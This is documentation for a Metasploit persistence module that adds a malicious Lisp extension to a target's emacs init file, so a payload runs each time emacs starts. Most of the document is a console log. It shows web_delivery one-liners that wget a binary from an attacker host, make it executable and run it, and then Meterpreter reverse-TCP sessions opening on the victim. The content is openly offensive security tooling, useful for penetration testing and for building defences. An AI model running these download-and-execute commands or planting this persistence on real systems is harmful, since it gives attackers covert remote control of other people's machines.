h00die
119 lines
4.2 KiB
Markdown
119 lines
4.2 KiB
Markdown
## Vulnerable Application
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This module adds a lisp based malicious extension to the emacs configuration file.
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When emacs is opened, the extension will be loaded and the payload will be executed.
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Tested against emacs 29.3 build 1 on Ubuntu Desktop 24.04.
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## Verification Steps
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Example steps in this format (is also in the PR):
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1. Install emacs
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2. Start msfconsole
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3. Get a shell
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4. Do: `use exploit/linux/persistence/emacs_extension`
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5. Do: `set session #`
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6. Do: `run`
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7. You should get a shell when `emacs` is started.
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## Options
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### NAME
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Name of the extension. Defaults to random
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### CONFIG_FILE
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Config file location on target. Defaults to `~/init.el`
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## Scenarios
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### emacs 29.3 build 1 on Ubuntu Desktop 24.04.
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Initial Shell
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```
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
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lhost => 1.1.1.1
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resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
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payload => cmd/linux/http/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set target 7
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target => 7
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resource (/root/.msf4/msfconsole.rc)> set srvport 8082
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srvport => 8082
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resource (/root/.msf4/msfconsole.rc)> set uripath l
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uripath => l
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resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4446
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lport => 4446
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Started reverse TCP handler on 1.1.1.1:4446
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[*] Using URL: http://1.1.1.1:8082/l
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[*] Server started.
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[*] Run the following command on the target machine:
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wget -qO AD6apRwS --no-check-certificate http://1.1.1.1:8082/l; chmod +x AD6apRwS; ./AD6apRwS& disown
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msf exploit(multi/script/web_delivery) >
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[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3090404 bytes) to 2.2.2.2
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[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:42830) at 2026-01-31 22:48:46 -0500
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msf exploit(multi/script/web_delivery) > sessions -i 1
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[*] Starting interaction with 1...
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meterpreter > sysinfo
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Computer : ubuntu-desktop-2404
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OS : Ubuntu 24.04 (Linux 6.14.0-37-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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meterpreter > getuid
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Server username: ubuntu
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meterpreter > background
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[*] Backgrounding session 1...
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```
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Install persistence
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```
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msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/emacs_extension
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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msf exploit(linux/persistence/emacs_extension) > set session 1
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session => 1
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msf exploit(linux/persistence/emacs_extension) > set FETCH_COMMAND wget
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FETCH_COMMAND => wget
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msf exploit(linux/persistence/emacs_extension) > exploit
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[*] Command to run on remote host: wget -qO ./CdYxekmN http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./CdYxekmN;./CdYxekmN&
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[*] Fetch handler listening on 1.1.1.1:8080
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[*] HTTP server started
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[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
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[*] Started reverse TCP handler on 1.1.1.1:4444
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msf exploit(linux/persistence/emacs_extension) > [*] Running automatic check ("set AutoCheck false" to disable)
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[!] The service is running, but could not be validated. emacs is installed
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[*] Using plugin name: FFuvdiIc
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[*] /home/ubuntu/.emacs.d/init.el does not exist, creating it
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[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/ubuntu-desktop-2404_20260131.5137/ubuntu-desktop-2404_20260131.5137.rc
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```
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Launch `emacs`
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```
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msf exploit(linux/persistence/emacs_extension) >
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[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q
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[*] Sending payload to 2.2.2.2 (Wget/1.21.4)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3090404 bytes) to 2.2.2.2
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[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:42262) at 2026-01-31 22:51:43 -0500
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```
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